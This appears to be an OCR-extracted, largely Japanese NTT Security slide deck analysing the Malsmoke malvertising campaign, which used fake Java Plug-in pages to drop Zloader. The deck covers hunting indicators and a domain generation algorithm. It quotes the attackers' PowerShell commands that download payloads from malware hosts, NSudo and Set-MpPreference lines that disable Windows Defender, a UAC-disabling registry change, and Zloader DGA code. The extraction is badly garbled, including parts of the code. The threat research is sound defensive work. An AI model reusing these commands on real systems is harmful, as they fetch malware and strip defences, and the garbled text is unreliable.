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Motivation and Goal (©) NTTSecurity
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Overview of Malsmoke
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2. Region-SpecificCd D

K. KE. HhFHYDOI1—YH—%25—45wv MCULTLDB
ARz = UICURLYDOTES /A HAREZFERHIT D

# Result Protocal Host URL Body Comments
&1 302 HTTPS vogib.rdtk.io [/5df29e858fd73d0001e5b4b4?sub1=415734&sub2=>5... 62 Redirector
<32 200 HTTPS krostaur.com /jppropellerads.php 166,768 Unknown Campaign
&3 200 HTTPS krostaur.com /jppropellerads.php?d=ey]rTjoiM2JtMjlkIiwiYiIoNTQ... 192,831 Unknown Campaign
=4 200 HTTPS krostaur.com /jpflpropellerads.php 711 Unknown Campaign
5 200 HTTPS krostaur.com /jpflpropellerads.php 65 Unknown Campaign
200 giftny2020.com /Zoophobia_Hypogea/7078_7299_3505/9900.html 3 Fallout EK (Landing Page)
: 200 gifiny2020.com JozLll/8166/IDg?mka=AZQCM&foretimed=1656-dun... Fallout EK (JavaScript Code
®8 200 HTTPS giftny2020.com /4007_9522/1923-11-05.cfml?5743m=Taunts-Lectiol
39 200 HTTPS giftny2020.com /Aneurysms_Socker/681372R21=9339-6050-115228§ Java Plug-In 8.0 B'EBDHDFEHATUL %(_S
@10 200 HTTPS giftny2020.com /foregut-Bishari-stella/oviposits-behymn/1970-11-26 7___ J‘é_?,’é
11 200 HTTPS giftny2020.com /quintiped/I41pF/Eighth-Ruminant-Newsboard/8630 /“°
Bl12 200 HTTPS giftny2020.com /HoQ/CHo
213 200 HTTPS oajdasnndkdahm.com /Jaate.php
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Attack Flow
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Attack Flow
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A DLLTXAT Start EXEZDLU TRAT
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HAFETJava Plug-InD45 D > 0O— RZEEITHEIRREND
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“~ @ pornostarspremiums.com; SdicksSmallPussy php

Java Plug-n 8.0 RO DFEHATUL
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H Java Plug-in 7.3

R/ I—2 212 Java Plug-in 8.0

file_get_contents("https[:]//websekir[.]com/wlw/index/processingSetRequestDownload/?
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 javase.exe (NSudo&EWDS—fg(CAFESNEY—)L)Z5F o> O0— R

+ NSudolIEBIEEIER T/ ITVT—> g akEIcEdYV—IL
* javase.exe (NSudo) ZFHUL\TWindows DefenderdEN L% 51T

powershell Invoke-WebRequest https[:]//pornotublovers[.]com/javase.exe -OutFile
javase.exe

set pop=%systemroot’%

javase -U:T reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration"
/v "Notification_Suppress" /t REG_DWORD /d "1" /f
javase -U:T sc config WinDefend start= disabled

cd "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

powershell Invoke-WebRequest https[:]//pornotublovers[.]com/autorunl@e.bat -OutFile
autorunlee.bat

powershell.exe New-ItemProperty -Path

HKLM: Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnablelLUA -
PropertyType DWord -Value @ -Force

powershell.exe -command "Set-MpPreference -PUAProtection disable"

shutdown.exe /r /f /t 00
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Contast.dll/reboot.dll (®) NTTSecurity

« mshta.exeD5|ZXCIBE=NTLD
 DLLIZ7AILKEDROIT hZ2EITITD
-Duc@fﬂag%@b

appContast.dl®F0/F 1 X
2 TYNEE txaUTe BE LE0N-Yay

EBLDO—E
EREE: FAVIAR... FALATYT

Microsoft Windows sha256 2021%8H26H 19:08:56

crlpt >
shShell = C
Oh]HCt l"HScrl
.Sub S1
-C,.,;;tﬂggjt. o TYSNVEE trT« B WEHON-Y3v
ect("Scripting.F

ileSystemObiect™
) .. Dim <script LANGUAGE="VBScript"> BZD—E

ath: sFile
fso.GetS{set WshShell = CreateObject ("WScript.Shell™) EHEL: FAIL.. FALRIVS
otder(2) fsub sleep (ms) Microsoft Windows sha256 202148 268 19:08:56
Set fso = CreateObject("Scripting.FileSystemObject™)
Dim sFilePath: sFilePath = fso.GetSpecialFolder(2) & "\WScriptSleeper.
ath) Then. If Not fso.FileExists(sFilePath) Then
Set oFile Set oFile = fso.CreateTextFile(sFilePath, True)
;E;EZ;;IE> oFile.Write "wscript.sleep WScript.Arguments(@)"
- of oFile.Close
ite "wscri End If
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Dim oShell: Set oShell = CreateObject("WScript.Shell™) (D)
oShell.Run sFilePath & " " & ms, @, True
'étEnd Sub
= CreateSleep (100000)
("WScript.wshShell.run "cmd.exe /c regsvr32 9892.d11",
) . ;52;31 Sleep (600000)
sFilePa "
&ms, 0, 1 WshShell.run "cmd.exe /c new2.bat", @
window.close()

</script>
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Attack Flow(New pattern B)
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flashupdate.ps1 ® NTTSecurity
«  GPGREIEDALIE

$uri = "https://raw.githubusercontent.com/adbertram/Random-PowerShell-Work/master/Security/GnuPg.psml’
$moduleFolderPath = "C:\Program Files\WindowsPowerShell\Modules\GnuPg'

New-Item -Path $moduleFolderPath -Type Directory
Invoke-WebRequest -Uri $uri -OutFile (Join-Path -Path $moduleFolderPath -ChildPath 'GnuPg.psml’)
$env:APPDATA
Install-GnuPG -DownloadFolderPath $env:APPDATA

- ADZ7%Z U CTL\DHMEER
. HEIT7AILHDIET D (=D @ CobaltStrike, =078 U : Zloader)

if ($Condition_All )
{

$URL = "https clouds222.com/t1m/ rocessingSetRequestCoba/?servername=msi&arp="+ $IP_count + "&domain=" + $UserDomain + "&hostname=" + $UserPCname
Invoke-WebRequest https://clouds222.com/tlm/index/processingSetRequestBat5/?servername=msi -OutFile ais.bat
Invoke-WebRequest https://clouds222.com/t1lm/index/processingSetRequestBat6/?servername=msi -OutFile apiicontrast.dll

Invoke-WebRequest $URL -outfile zoom2.dll.gpg
Invoke-WebRequest https://clouds222.com/t1lm/index/processingSetRequestAtera/?servername=msi -outfile zooml.msi

"https clouds222.com/t1m/in processingSetRequestBot/?servername=msi&arp="+ $IP_count + "&domain=" + $UserDomain + "&hostname=" + $UserPCname
Invoke-WebRequest https://clouds222.com/t1m/index/processingSetRequestBat5/?servername=msi -OutFile ais700.bat
Invoke-WebRequest https://clouds222.com/t1lm/index/processingSetRequestBat6/?servername=msi -OutFile apiicontrast.dll
Invoke-WebRequest $URL -outfile zoom.dll.gpg
Invoke-WebRequest https://commandaadmin.com/ais.bat -OutFile ais.bat
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apiicontrast.dll

« mshta.exe®D5|ZXCIBENTLD
« BRIREEHESD D
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/b /c C:\Nindows\System32\mshtalexe %APPDATA%\appContast.dll

/b /c C:\Windows\System32\mshta.exe %APPDATA%\apiicontrast.dll

apiicontrast.dll®70/XT 1 X

ais.bat

i 2 TIILEE vxaUFc HE  LEION-Yay

EZ0—E

ExEL: F4IL.. FALATIT
éMicrosoft Windows sha256 2021%F1H8H 8:30:23?

o End If.
Dim oShel

hell®)..
sFileP

-ExecutionPolicy Bypass -command Import-Module GnuPg; Remove-Encryption

WshShell. run
-FolderPath %AppData% -Password ‘bibigroup'™, @
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Landing Page (©) NTTSecurity
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o FZOTRAUI—Y—DIPOHIEFIRICE DL THidAT JavaScript 7
/I’) | =& &H

» JavaScripth'iE#+AEN D EDOMZREL THY D> O— REFRZR R
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<script src="js/jp-javascript.js"></script>
<script>console.log('JP')</script>

style= or: @ #666; text-shadow:none !important;">Java Plug-In 8.0

A E’)?b )iﬁ/u’( L,f

d > OV IR—IIF lJava Plug-in 8.0) ZEAL TS, ELLRRENFEHA,
Té’i‘r?%ﬂ Ii MNavaZ 354 ) ZBHLTLESL,

Java Plug-In 8.0 B"EDHDFEBATUL S,
=

CDVTINR=UL TJava Plug-in 801 EBEALTLSES, ELSERENFRFA. T
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Landing Page (®) NTTSecurity

BDIavad SOA A A M=IVDFEERSZS S/ TITOTLD

Java Plug-in 8.0 nao foi encontrado.

Java

A pagina da web que vocé esta tentando carregar é exibida incorretamente, pois usa o "Java
Plug-in 8.0". Para corrigir o erro e exibir o video, vocé deve atualizar o "Java Plug-in".

Fabricante:

Java Plug-in 8.0 wurde nicht gefunden.

Versdo Atual: Java Plug :
ava

Ultima versdo: Java Plu
J & Die Webseite, die Sie laden mochten, wird falsch angezeigt, da das "Java Plug-in 8.0" verwendet

wird. Um den Fehler zu beheben und das Video anzuzeigen, mussen Sie das "Java Plug-in"

aktualisieren.

1sivwy Java Plug-in 8.0.

Hersteller:
Aktuelle Version: Java Pl

. W = & | ' 3 2 w . v a
Letzte Version: wihunaaneeNvaswaasdiuatvbignsas tavainle "Java Plug-in 8.0". Tunisualutadia
WAALALLIAYIATE ALAaYaLam "Java Plug-in",

ATk © Oracle

naftuilaatu: Java Plug-in 7.3

JUANER: Java Plug-in 8.0
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Login

25



Attack Progress Checking Server ® NTTSecurity

» /processingSetRequestDownload ANDU T T X FCIWENROI—Y

—DIPZ EEx
« /processingSetRequestLicense Y2 /processingSetRequestBat \NU 2T
A NZXRD EEFRSNIZ I - —hEHE Hlih

BRESNTVWDIIHEEFT —FZIRYT

IP:X.X.X.X (Registered)
/processingSetRequestDownload II I l

E—r
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IP:X XXX is
/processingSetRequestLicense there?
/processingSetRequestBat I I I l l m

E—

IPXXX.X Data
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Seamless, PseudoGate, Malsmoke (®) NTTSecurity
- RI&. B> bO-—)L. ENEFER U

o EDF1 > R—>2"THEBDrive-by DownloadZF|H L TULV/Z
+  Malsmokel(dSocial EngineeringZ{#> Je FE(CEE NI
« #HAIRFHAOBRDZENDD EERITINILIT T 7VOZAENI DO LTS

| seamless __ |PseudoGate ________Malsmoke
Malvertising Malvertising Malvertising
- o D N m BV VR | PODIBER A [FER |POOHIIERY (B |POHIIERY (B ‘ﬂb

£4: AUBD, BFSH. BR FAUBD HFEY. BR ZAUH, BFS. BR

& Drive-by Download Drive-by Download Drive-by Download, Social Engineering
J\>F>orOzv> )\ F IOy IN>F> o Oy >
NIVOITT : . : .
(Ramnit) (Ramnit. Ursnif., Zloader) (Zloader, CobaltStrike, etc...)
O—4 N/A Smokeloader Smokeloader
#7R1 BFHA 2016/06-2018/03 2018/07- 2019/09-
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PseudoGate and Malsmoke (®) NTTSecurity

Malsmoke CfEFI NS JavaScriptiCPseudoGatelcBdi#ET S R A1 >

« 2018/09(CGrandsoft EKZFIA U/zRamnitiECTHIAHA =N /=Gate®D K X
1> &E—

jp-javascriptjsdD X > k77T k
/*$(document).click(function download() {
window. Location. href = 'http[:]j/daupr‘emium[.]com/]'lessagebox.exe "s // Download File
Remote Server
$(document).load("");
})*/
# Result Protocol H RL Body Comments
€] 200 HTTPS dollpremium.com | /adcash.php?ban=22469542... 818 PseudoGate (Redirector)
200 HTTPS dollpremium.com | /adcash.php?ban=22469542... PseudoGate (Redirector)
piercing.apartvd.xyz [veiledcahootschump.htm 530 GrandSoft Exploit Kit (Landing Page)
Grandsoft EKMD iercing.apartvd.xyz [getversoinpd/1/2/3/4 21,185 GrandSoft Exploit Kit (CVE-2018-8174)
GatedD R A1 > piercing.apartvd.xyz /9/132546 192,512 GrandSoft Exploit Kit (Malware Payload)




Summary of the campaigns ®© NTTSecurity
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> BUAIFHADR D ZDD SERITIVILD T DN U T L TND

BICBIRBEFEZEZIRZUTWBALIICRASD
> Seamless. PseudoGateh*SMalsmoke N\DZEBEDEI CHEHREZEDZ\LHRR XD
> MalsmokeF 7 > R—2ICBVWTHEBERNEZ S

CNSDOHREEISEGEGEN(CARDI—Y —IHL TS aTEEMED
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Hunting (NW) (®) NTTSecurity

e
Landing Page / Malware hosting
Server

e

L.

Attack Progress Checking
Server

Zloaderd®C2(&

Bltzo> 3> TsibA

—

Iis

Zloader C2 Server

NSudo, Atera Zloader
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Hunting Landing Page (1/3)

34

Landing Page / Malware hosting Server
- WERMICNILTTTDY I
« Landing Page®URL(&
fHAHAEDE TERADFE

Method

GET
GET
GET
GET
GET
GET
GET

Fesult

200
200
200
200
200
302
200

Protocol

HTTPS
HTTPS
HTTPS
HTTPS
HTTPS
HTTPS
HTTPS

Host

traffictrackerabc. com
pornostarspremiums. com
pornostarspremiums, com
pornostarspremiums, com
image.ibb.co
pornostarspremiums, com
pornostarspremiums. com

(®) NTTSecurity

— RO LTz hve Hlls L7z 0

PARICEENDCH. ZEUICKVWWEFEZ

E7x LTS

LIR.L

Joffer.php

Jhdporno.php

J5dicksSmallPussy.php
fisfip-javascript.js

/bCt0 7y fic_java.png
J5dicksSmallPussy. php?file =download
[JavaPlugin.msi

Body

234
58,644
6,276
179,042
22,889
0
719,872

Comments

[#1] Gate

[#2] Landing Page
[#3] Download Page
[#4] JavaSaipt
[#5] Java Logo

[#8] Redirector
[#7] M5I Malware



Hunting Landing Page (2/3) ® NTTSecurity

URLI\X[CEH
e Malsmoke TIFURL/ \XHEMNMARBIZEIL L TLVRLY

* e.g., /hdportno.php, /5dicksSmallPussy.php

-;uafl_iihé J7 'f)l/(c_EE
e jp-javascriptjs: HAMS D170t ¥ B (TF]
* ic_java.png: JavadD O @145k

Method Result  Protocol Host URL Body Comments

GET 200 HTTPS traffictrackerabc.com  foffer.php 234 [#1] Gate

GET 200 HTTPS pornostarspremiums. com | /hdporno.php 58,644 [#2] Landing Page
GET 200 HTTPS pornostarspremiums. com | /SdicksSmallPussy.php 6,276 [#3] Download Page
GET 200 HTTPS pornostarspremiums. com | fisfip-javasipt.js 173,042 [#4] JavaSaipt
GET 200 HTTPS image.ibb.co | /bCt07yfic_java.png 22,889 [#5] Java Logo

GET 302 HTTPS pornostarspremiums. com fEdid:sSmaIlF‘ussy.php?me=dnwnlnad 0 [#6] Redirector
GET 200 HTTPS pornostarspremiums.com  /JavaPlugin. msi 719,872 [£7] MsI Malware
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Hunting Landing Page (3/3) ®© NTTSecurity

MSIZ 71 ILDA D> 0O—RICEB
71 )V&IISRZEICEFFISNTLED
MSIDILERFIMTWNE T 7 AIVZRFN TEDBLDICUTHE., o

SOXRTF v EHFEDETHRATS

NIV T 7 DIEHMTGE (H)

» /hdporno.php, jp-javascript.js ~\DIE{E & AR A
B&(CMSIT71ILDAY D> 0O— RZE&FUIEEEE [KILDT )
A2 O—RICEKIIUIZ] EH
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Hunting Attack Progress Checking Server ® NTTSecurity
EEH—)\
« XA URU\R(EIEHIEIR—DOHBEDOMERTND

37

> /processingSetRequestDownload
» /processingSetRequestlicense
» /processingSetRequestBat

o« J 771 )LEUSALIE (ZPowerShellDInvoke-WebRequestZ{H S =&,
User-AgentDfFHEIZ BB /5 — MEUTIRE T D EBBR

Mozilla/5.0 (Windows NT; Windows NT 10.0; ja-JP) WindowsPowerShell/5.1.16299.431



Hunting (Endpoint) ® NTTSecurity

Malvertising Landing Page / Malware hosting

Server
— 1] 2
— — —
MSI (=& ...

:@ Attack Progress Checking
Fake MS| Server
Zloader 1B FENE
BESERTES ‘
EXE
@ < > ...
\ ...
NSudo, Atera Zloader Zloader C2 Server
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Hunting Change Settings of Windows Defender

39

Windows DefenderDsNESIIAX

Zloader/@k:
Y ARSTDE"

EESRAN—

Add-MpPreference
Add-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Add-MpPreference
Add-MpPreference
Add-MpPreference
Add-MpPreference
Add-MpPreference
Add-MpPreference
Add-MpPreference
Add-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference
Set-MpPreference

-ExclusionPath '"%USERPROFILE%\AppData\Roaming'

-ExclusionExtension ".exe

-MAPSReporting ©

-PUAProtection disable
-EnableControlledFolderAccess Disabled
-DisableRealtimeMonitoring $true
-DisableBehaviorMonitoring $true
-DisableIOAVProtection $true
-DisablePrivacyMode $true
-SignatureDisableUpdateOnStartupWithoutEngine $true
-DisableArchiveScanning $true
-DisableIntrusionPreventionSystem $true
-DisableScriptScanning $true
-SubmitSamplesConsent 2

-ExclusionProcess
-ExclusionProcess
-ExclusionProcess
-ExclusionProcess
-ExclusionProcess

-ExclusionProcess

-ExclusionProcess
-ExclusionProcess

"regsvr32"
"regsvr32*"
".exe"
"iexplorer.exe"
"explorer.exe"
LR dille

SSoie B

"* . exe"

-HighThreatDefaultAction 6 -Force
-ModerateThreatDefaultAction 6
-LowThreatDefaultAction 6
-SevereThreatDefaultAction 6

-ScanScheduleDay 8

(L Rk

Z:DRIHEE

(®) NTTSecurity

LR ZIHhE TRV KDICT DEHICEITSND
ECRELUTZS

HERE L



Hunting Nsudo, Atera

40

WMETHHNFEHNRY —I)IL &6 & (IR
« NSudo (5caeO1aea8ed390ce9bec17b6bc1237e4)

- Atera (adeOcabd965a289969c5654514aefd72)
- NSudolZ KBWindows DefenderfExh{bDEENZ&EN T D Z & H7

@REM javase = NSudo

javase -U:T reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration”
/v "Notification_Suppress"” /t REG_DWORD /d "1" /f

javase -U:T sc config WinDefend start= disabled

javase -U:T -ShowWindowMode:Hide sc delete windefend

(®) NTTSecurity
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Research

(®) NTTSecurity

e
Landing Page / Malware hosting
Server

Fake MSI

e

L.

Attack Progress Checking
Server

NSudo, Atera Zloader
42
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Research Landing Page ® NTTSecurity

Landing Page
« SAFE(CURLDMEENDITSH. =DURLZIEELTZL
- BT OFE7ZE &(CLlanding PageZzF R

> URL JUR: BRARFIDMIMR VN (R Z AR SR

entity: url path: 5dicksSmallPussy.php
entity: url path: JavaPlugin.msi

> favicon: REAEIZIL U TUVRULZED., RAA A&RR(CHI AT EE

entity:domain main_icon_dhash:e896f0eccce896e8

> GateZ#FJF LU/zLanding PagedURLEWS (&)
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Gate (®) NTTSecurity

Gate

»  Malvertising([CHBWT. [ER—TH5SLlanding PagenNUS 1 LT ~
IBRFECHEATNDIR—

o LENR—ZDREZEZET D EE<Landing URLZFEZE (CEFTRIEE

* Malsmoke T (IEIZHEAM S GateZZfERA LU TS/

Gate®D"5RE0" (XX i

e GateDURLEKRIZEMHIBIREFFSODHVRWZS., IEARDILENWE
WEEMNAHB U —/\ZHRIT D EHHEH

« —1C. GatelZEHAEIR—OURLIMFIAESND =8, —EGateZIBIE
TZNldLlanding PageMURLZIBIE L2 < 12D

44,



Research “Gate”

45

GateZ HHU\/=Landing Page®URLEYS

o GateZ™#
> Referer(CGatedDURLOH'E

9B & Clanding PageDEEBZIBRETCED

(®) NTTSecurity

FNTULBIHFE. Landing PageNDF7 I AZHET B

> gj(c_\ Landing PageN\D 77 Ot A1&H%& UIcimE. Referer(CRANMDGate URLAY

Ec

Method

GET
GET
GET
GET
GET
GET
GET

Result

200
200
200
200
200
302
200

Protocal

HTTPS
HTTPS
HTTPS
HTTPS
HTTPS
HTTPS
HTTPS

FNTULRWLWHNRERT D

2021/06 MM HEFMHE=NTLZ

Host URL Body
lh’aFﬁch’ad:eral:uc.mm Joffer.php I 234
pornostarspremiums, com porno.php 08,6494
pornostarspremiums.com  /SdicksSmallPussy.php 6,276
pornostarspremiums.com  fjsfip-javascript.js 179,042
image.ibb.co  /bCtd7y/fic_java.png 22,889
pornostarspremiums.com  /SdicksSmallPussy.php?file =download ]
pornostarspremiums.com  fJavaPlugin.msi 719,372

Comments

[#1] Gate

[#2] Landing Page
[#3] Download Page
[#4] JavaScript
[#5] Java Logo

[#6] Redirector
[#7] M5I Malware



Research MSI file (®) NTTSecurity
IS — )\ & DiRE

e MalsmokedD> X5 IADOPRTIIEHREEZLNINRVNS AT A

o LITOESH—)\RAA > EBET DIIEAZTHREBIT D

v vivacemusic[.]site

v' websekir[.]Jcom

MSIT 7 1 ILDEFESL
v Software Artisans Limited
v D&K ENGINEERING

v" Flyintellect Inc.

v' Llantrisant Services Inc.
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Zloader (®) NTTSecurity

R TREHBENHTWVWDR/I>F > o OS> v >
e EZa—)LZE0O—RIDBCETHRALRBEF®ITD

« OQ2H—/)\EBEUTKRERT—FEEL. IRITREDOESRIEER D
HA MMEET DT —HFZTEIT D

- BaseConfig EMEEIN DZeusBZRDEET —FZ2FIRA LU TEET D

Botnet ID, Campaign ID

C2 (URL)

48



DGA

49

(®) NTTSecurity

e MalsmokeT(E/\— RO— RENECQ2 R A1 > TIFR<DGAT:ETE

Ulc RAA > Bz

« DGATIdBaseConfigidDRC4 key + BT DIBIRT RA1 > Z%=5TE

L

Zloader

BaseConfig

nbwvognpavwitxxedlob[.Jcom
« C2 (URL) psgxgkfufyrwydoofkri[.Jcom
- RC4 key % a S— onhomzlaelqwkmftl[]com
« Campaign ID
+ Botnet ID

DGA domains list

EMNEELSNTULND

Fr>oR—2CEITERHETND ‘ Z1THDOUTCERAI 00:00

UNIX timestamp



DGA Source Code (®) NTTSecurity

function dga_calc(int $timestamp, string $encryption_key): array

{
$dga_domains = []; AT E'fq- + RC4 key

$domain = pack("L", $timestamp);

$domain = RC4::calc($domain, $encryption_key);

$pt = unpack("L", $domain);

$packed_timestamp_1 = $packed_timestamp_2 = $pt[1];
for ($_ =0; $_ < 32; $_++) {

$dga_domain = '°; X .
i - 0; 1B(CDE32ED RAA >R
while ($i < 20) {

$char = 97 + abs($packed_timestamp_1 % 25);
$dga_domain .= chr($char);
$packed_timestamp_1 += $char;
if ($packed timestamp 1 > exffffffff) {
$packed timestamp 1 &= exffffffff;
$packed timestamp 1 ~= $packed timestamp 2;

++$1;
} else {
$packed timestamp 1 ~= $packed timestamp_ 2;
++5%1;
. J 5 >4 INRRF203F +.com
$dga_domains[] = $dga_domain . ".com"; CZ)}Egij:

}

return $dga_domains;
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Zloader’s 1oC Collecting System
Zloader@loCUNEEHENL

smoke X FtaD4

DGAD 7))L
JSwOUXREUTHA
BaseConfigdDitit

rcd.plain

I TS8R

Campaign personal
i jadakm. com;
h dksaoidiak jd. co
h dskad jna. co
kmdfnbs. com;
It djdnhsal. com/g

7 S NR— > TEF|

(®) NTTSecurity

=N TWDTze, SOCYSCSIRT
TUSTI D RAZE %(JY%‘C%&kj(LL}T L

DX ALFZEEUIRWTZE,

I TE3
CAZSA 2P R DX [Triagel Z&5&EFE

fwiewjdmkf in, com/gate, php
iweuigjdak jd. com/gate. php

tips /ol ksmadnbd j. com/gate, php

odoishsal. com/gate. php

1 03d5ae30a0bd834a23b6a7f0756aa504

I I O I

m/zate. php

=Tl UNE




Zloader’s 1oC Collecting System ® NTTSecurity

1. R{EDYNE 2. BaseConfigDHhit} 3. 2R AA > D E

>
> ] VIRUSTOTAL Tna e ‘ a
MALWARE bazaar g RC4 key, timestamp

‘ BaseConfig DGA domains list

« C2 (URL) nbwvognpavwitxxedlob[.Jcom

L

 RC4 key psgxgkfufyrwydoofkri[.Jcom
- Campaign ID onliojnzlaelgwkniftl[.Jcom
- Botnet ID

Zloader

* ZloaderDloCZBEE TINET D> AT L%zt

* DGATHEMSND R XA > A% ibiE
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Conclusion

MalsmokeDZ &G iBEDSIRDIEDIZ
o MBOWEBEF v > R—2EDBEENSIREDEEZMR CEIC
» MalsmokelC/RD> THSEF7YVIFT— hEHEECLTLD

«  MalsmokeldINEZBDH{TiEE= (Crazy Journey) DEY) T D

4G5 UPRINAXRMNMESE TS/
- WEEANMIAET 1> D SEsDEiE

« ZALDPIRWVERT(CHE

Liz)\>F o >0 UH—F3

(®) NTTSecurity

SINOL:

e ZloaderDloCHEFEUS S AT A
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